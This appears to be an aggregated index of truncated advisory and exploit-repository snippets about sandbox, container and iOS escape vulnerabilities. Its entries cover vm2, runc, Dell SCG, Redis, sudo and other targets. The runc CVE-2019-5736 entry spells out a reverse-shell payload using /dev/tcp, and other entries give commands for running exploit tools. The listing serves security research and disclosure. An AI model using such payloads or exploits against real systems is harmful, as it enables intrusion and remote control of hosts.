CVE-2023-30547

CVE-2023-30547 vm2 is a sandbox that can run untrusted code with whitelisted Node's built-in modules. There exists a vulnerability in exception sanitization of vm2 for versions up to 3.9.16, allowing attackers to raise an unsanitized host exception inside handleException which can be used to esca...

poc-cve-2024-38396

CVE-2024-38396 and CVE-2024-38395 This PoC can e used either via a docker run or simply cat. This repository contains the docker file for vin01/escape-seq-test:cve-2024-38396. The PoC simply opens a calculator on OS X. How to run: Example 1. cat simpler-poc-title-report-code-execution.txt Example...

vulnerable-container-hub

OWASP Vulnerable Container Hub 项目 背景 有许多仓库为想要学习安全的人提供易受攻击的环境，例如 Web 应用程序、容器或虚拟机，这不仅有助于学生或刚入行的人学习相关安全技术，也有助于安全专业人员保持实战经验。 在这些方法中，目前最简单的方式是使用容器（例如 docker 或 podman）。 只需一条命令（例如 docker run 或 docker compose up）即可运行容器，听起来很棒！ 问题陈述 问题在于，如果只是在不知道容器是如何构建的情况下运行它，你就无法准确知道它会做什么（尤其是考虑到它是一个易受攻击 的容器）。 Dockerfile...

CVE-2026-80238

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Execution with Unnecessary Privileges vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Protection mechani...

CVE-2026-80238

Dell Secure Connect Gateway (SCG) 5.0 Appliance and Application versions prior to 5.36.00.16 and 5.36.00.00 respectively contain an Execution with Unnecessary Privileges vulnerability (CVSS 9.3, Critical). The root cause is an exposed Docker socket on the host, allowing a low-privileged operator ...

CVE-2026-80238

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Execution with Unnecessary Privileges vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Protection mechani...

EUVD-2026-72395

Dell SCG 5.0 Appliance versions prior to 5.36.00.16 and Dell SCG 5.0 Application versions prior to 5.36.00.00, contains an Execution with Unnecessary Privileges vulnerability. An unauthenticated attacker with local access could potentially exploit this vulnerability, leading to Protection mechani...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Usage : machine is vulnerable to CVE-2019-5736, follow steps in Runc exploit CVE-2019-5736. Download file main.go, change the payload in the file into: root@kitploit: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" After that, run:...

CVE-2026-86427

LibreNMS before 26.8.0 contains an argument injection vulnerability in the graph_title parameter . The root cause is the ability to break out of double-quote escaping, allowing authenticated attackers to inject arbitrary rrdtool arguments . This enables reading RRD files from unauthorized devices...

itscape

ITScape —— Linux KVM/arm64 客户机到宿主机（guest-to-host）逃逸追踪站点 ITScape 补丁状态追踪器的源码：一个单页站点，用于记录哪些发行版已为 Linux 内核中的 KVM/arm64 客户机到宿主机（guest-to-host）逃逸漏洞发布了修复。 事实数据所在 关于该漏洞的全部信息——CVE ID、受影响与已修复版本、上游修复提交、发现与披露致谢，以及各发行版的最终补丁状态——均归属于追踪页面，而非本 README： 渲染页面： https://kimmo.cloud/itscape/ 源码： site/content/index.md...

copy-fail-c

Copy Fail CVE-2026-31431 - C port English en ∙ 日本語 ja ∙ 简体中文 zh-cn ∙ 한국어 ko ∙ Русский ru A cross-platform C reimplementation of the Copy Fail Linux LPE CVE-2026-31431, disclosed 2026-04-29 by Theori / Xint. See the canonical writeup at copy.fail for the full vulnerability description, timeline, a...

CVE-2022-0543

CVE-2022-0543 CVE-2022-0543RCE,Redis Lua沙盒绕过 命令执行 Usage python3 CVE-2022-0543.py...

CVE-2025-31258-PoC

CVE-2025-31258-PoC 1day practice - Escape sandbox partial using RemoteViewServices...

Sandbox-Escape-iOS-18.0-26.0

🛑 Educational & Research Purposes Only This tool is developed for security research and educational purposes only. It is intended to be used on devices you own or have explicit permission to test. Using this tool against devices without authorization is illegal. The author mranonymous234 is not...

RunC-CVE-2019-5736

RunC-CVE-2019-5736 Two PoCs for CVE-2019-5736. See Twistlock Labs for an explanation of CVE-2019-5736 and the PoCs. The malicious image PoC is heavily based on q3k’s PoC, so all credit goes to him. Running the PoCs Note that running the PoCs will overwrite the runc binary on the host. It is...

botb

Break out the Box BOtB BOtB は、ペネトレーションテスターやエンジニア向けに設計されたコンテナ分析および悪用ツールであり、一般的な CI/CD 技術と連携して使用できます。 機能 BOtB は CLI ツールであり、以下のことが可能です： 一般的なコンテナ脆弱性の悪用 一般的なコンテナ事後悪用アクションの実行 コンテナ内で特定のツールやバイナリが利用できない場合の機能提供 CI/CD 技術を使用した BOtB の機能をコンテナデプロイのテストに活用 上記を手動または自動のアプローチで実行 現在の機能 露出した Docker...

blanket

blanket Blanket 是一个针对 iOS 11.2.6 的沙盒逃逸工具，尽管其主漏洞直到 iOS 11.4.1 才被修补。它利用 launchd 中的一个 Mach 端口替换漏洞（CVE-2018-4280），以及其他服务中的几个较小漏洞，在 ReportCrash 进程内执行代码。该进程不受沙盒限制，以 root 身份运行，并拥有 taskforpid-allow 权限。这便授予了对手机上每个进程的全面控制权，包括像 amfid 这样的安全关键进程。 该漏洞利用包含多个阶段。本 README 将逐步解释主要漏洞以及沙盒逃逸的各阶段。 冒充系统服务 在研究 iOS...

USN-8732-1 minetest vulnerability

It was discovered that Minetest did not properly sanitize the Lua sandbox environment when using LuaJIT. A malicious mod could escape the sandbox to execute arbitrary code and gain full file system access on the server. An attacker could use this issue to compromise the server...

DirtyFrag

Local Privilege Escalation / Container Escape CVE-2026-43284 / CVE-2026-43500 Usage: CGOENABLED=0 go build -ldflags="-s -w" -o dirtyfrag . ./dirtyfrag Affected Versions: Ubuntu 24.04.4 LTS 24.04 LTS 22.04 LTS 20.04 LTS 18.04 LTS 16.04 LTS 14.04 LTS RHEL 8.x,9.x,10.1 CentOS 8,9,10 Rocky Linux 8,9,...

CVE-2025-32462-CVE-2025-32463-PoC-Lab

CVE-2025-32462 & CVE-2025-32463 – Advanced PoC Lab This repository provides a container-based lab and detailed PoC for two critical sudo vulnerabilities: CVE-2025-32462 – sudo -h host matching logic bypass CVE-2025-32463 – sudo -R chroot NSS library escape Research & Credit Original research by...